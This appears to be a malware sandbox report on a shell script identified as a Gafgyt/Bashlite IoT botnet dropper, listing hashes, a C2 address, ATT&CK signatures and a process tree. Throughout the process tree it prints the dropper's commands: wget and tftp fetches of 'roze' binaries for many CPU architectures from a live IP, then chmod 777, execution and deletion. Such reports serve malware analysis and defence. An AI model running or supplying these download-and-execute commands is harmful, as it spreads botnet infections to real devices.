Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    06-12-2024 13:17

General

  • Target

    update.sh

  • Size

    3KB

  • MD5

    bd60ce22343af79a495628041c27c3a0

  • SHA1

    a7510aabe4465db8de01ca2bc535003eddea0d37

  • SHA256

    8c27365e971954012e6a2543904fbbcea00241a369fd37f1dca5143e9f8c4d0e

  • SHA512

    1f5016541e9654176198e0e926fec6e51095697faec6397c69f05bbb5438ab5b3edcddcbfcbb4acaa44347396dd4f9b0a31577cfb1ca5240f95fc80e546d700b

Malware Config

Extracted

Family

gafgyt

C2

185.91.127.27:87

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 32 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/update.sh
    /tmp/update.sh
    1⤵
      PID:711
      • /usr/bin/wget
        wget http://185.91.127.27/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:712
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:722
      • /bin/busybox
        busybox tftp -r roze.mips -g 185.91.127.27
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:732
      • /bin/chmod
        chmod 777 roze.mips
        2⤵
        • File and Directory Permissions Modification
        PID:815
      • /tmp/roze.mips
        ./roze.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:816
      • /bin/rm
        rm -rf roze.mips
        2⤵
        • System Network Configuration Discovery
        PID:817
      • /usr/bin/wget
        wget http://185.91.127.27/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:818
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:819
      • /bin/busybox
        busybox tftp -r roze.mipsel -g 185.91.127.27
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:820
      • /bin/chmod
        chmod 777 roze.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:821
      • /tmp/roze.mipsel
        ./roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:822
      • /bin/rm
        rm -rf roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:823
      • /usr/bin/wget
        wget http://185.91.127.27/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:824
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:825
      • /bin/busybox
        busybox tftp -r roze.sh4 -g 185.91.127.27
        2⤵
        • Writes file to tmp directory
        PID:826
      • /bin/chmod
        chmod 777 roze.sh4
        2⤵
        • File and Directory Permissions Modification
        PID:833
      • /tmp/roze.sh4
        ./roze.sh4
        2⤵
          PID:834
        • /bin/rm
          rm -rf roze.sh4
          2⤵
            PID:835
          • /usr/bin/wget
            wget http://185.91.127.27/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:836
          • /bin/busybox
            busybox wget http://185.91.127.27/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:837
          • /bin/busybox
            busybox tftp -r roze.x86 -g 185.91.127.27
            2⤵
            • Writes file to tmp directory
            PID:838
          • /bin/chmod
            chmod 777 roze.x86
            2⤵
            • File and Directory Permissions Modification
            PID:839
          • /tmp/roze.x86
            ./roze.x86
            2⤵
              PID:840
            • /bin/rm
              rm -rf roze.x86
              2⤵
                PID:841
              • /usr/bin/wget
                wget http://185.91.127.27/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:842
              • /bin/busybox
                busybox wget http://185.91.127.27/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:843
              • /bin/busybox
                busybox tftp -r roze.armv6 -g 185.91.127.27
                2⤵
                • Writes file to tmp directory
                PID:844
              • /bin/chmod
                chmod 777 roze.armv6
                2⤵
                • File and Directory Permissions Modification
                PID:845
              • /tmp/roze.armv6
                ./roze.armv6
                2⤵
                  PID:846
                • /bin/rm
                  rm -rf roze.armv6
                  2⤵
                    PID:847
                  • /usr/bin/wget
                    wget http://185.91.127.27/roze.armv7 -O roze.armv7
                    2⤵
                    • Writes file to tmp directory
                    PID:848
                  • /bin/busybox
                    busybox wget http://185.91.127.27/roze.armv7 -O roze.armv7
                    2⤵
                      PID:849
                    • /bin/busybox
                      busybox tftp -r roze.armv7 -g 185.91.127.27
                      2⤵
                      • Writes file to tmp directory
                      PID:850
                    • /bin/chmod
                      chmod 777 roze.armv7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:851
                    • /tmp/roze.armv7
                      ./roze.armv7
                      2⤵
                        PID:852
                      • /bin/rm
                        rm -rf roze.armv7
                        2⤵
                          PID:853
                        • /usr/bin/wget
                          wget http://185.91.127.27/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:854
                        • /bin/busybox
                          busybox wget http://185.91.127.27/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:855
                        • /bin/busybox
                          busybox tftp -r roze.i686 -g 185.91.127.27
                          2⤵
                          • Writes file to tmp directory
                          PID:856
                        • /bin/chmod
                          chmod 777 roze.i686
                          2⤵
                          • File and Directory Permissions Modification
                          PID:857
                        • /tmp/roze.i686
                          ./roze.i686
                          2⤵
                            PID:858
                          • /bin/rm
                            rm -rf roze.i686
                            2⤵
                              PID:859
                            • /usr/bin/wget
                              wget http://185.91.127.27/roze.ppc -O roze.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:860
                            • /bin/busybox
                              busybox wget http://185.91.127.27/roze.ppc -O roze.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:861
                            • /bin/busybox
                              busybox tftp -r roze.ppc -g 185.91.127.27
                              2⤵
                              • Writes file to tmp directory
                              PID:862
                            • /bin/chmod
                              chmod 777 roze.ppc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:863
                            • /tmp/roze.ppc
                              ./roze.ppc
                              2⤵
                                PID:864
                              • /bin/rm
                                rm -rf roze.ppc
                                2⤵
                                  PID:865
                                • /usr/bin/wget
                                  wget http://185.91.127.27/roze.i586 -O roze.i586
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:866
                                • /bin/busybox
                                  busybox wget http://185.91.127.27/roze.i586 -O roze.i586
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:867
                                • /bin/busybox
                                  busybox tftp -r roze.i586 -g 185.91.127.27
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:868
                                • /bin/chmod
                                  chmod 777 roze.i586
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:869
                                • /tmp/roze.i586
                                  ./roze.i586
                                  2⤵
                                    PID:870
                                  • /bin/rm
                                    rm -rf roze.i586
                                    2⤵
                                      PID:871
                                    • /usr/bin/wget
                                      wget http://185.91.127.27/roze.m68k -O roze.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:872
                                    • /bin/busybox
                                      busybox wget http://185.91.127.27/roze.m68k -O roze.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:873
                                    • /bin/busybox
                                      busybox tftp -r roze.m68k -g 185.91.127.27
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:874
                                    • /bin/chmod
                                      chmod 777 roze.m68k
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:875
                                    • /tmp/roze.m68k
                                      ./roze.m68k
                                      2⤵
                                        PID:876
                                      • /bin/rm
                                        rm -rf roze.m68k
                                        2⤵
                                          PID:877
                                        • /usr/bin/wget
                                          wget http://185.91.127.27/roze.sparc -O roze.sparc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:878
                                        • /bin/busybox
                                          busybox wget http://185.91.127.27/roze.sparc -O roze.sparc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:879
                                        • /bin/busybox
                                          busybox tftp -r roze.sparc -g 185.91.127.27
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:880

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/roze.mips

                                        Filesize

                                        209KB

                                        MD5

                                        97d9d4346609a36db70c4732d53f530a

                                        SHA1

                                        a9beb573471c7a6d83dc70fa331233446f49556c

                                        SHA256

                                        79164326a7940f25869476593db103dfd144e7155d7f005e3f51d4f5472df840

                                        SHA512

                                        160deab9e2ebf460fbf264b71737a5dc509c03a61e1b75324582b6644eb3f9dec2b83ff9add8ae5ccec83910c04f1a1b4b93d22ba6c1d46d54f6d82623a1c73c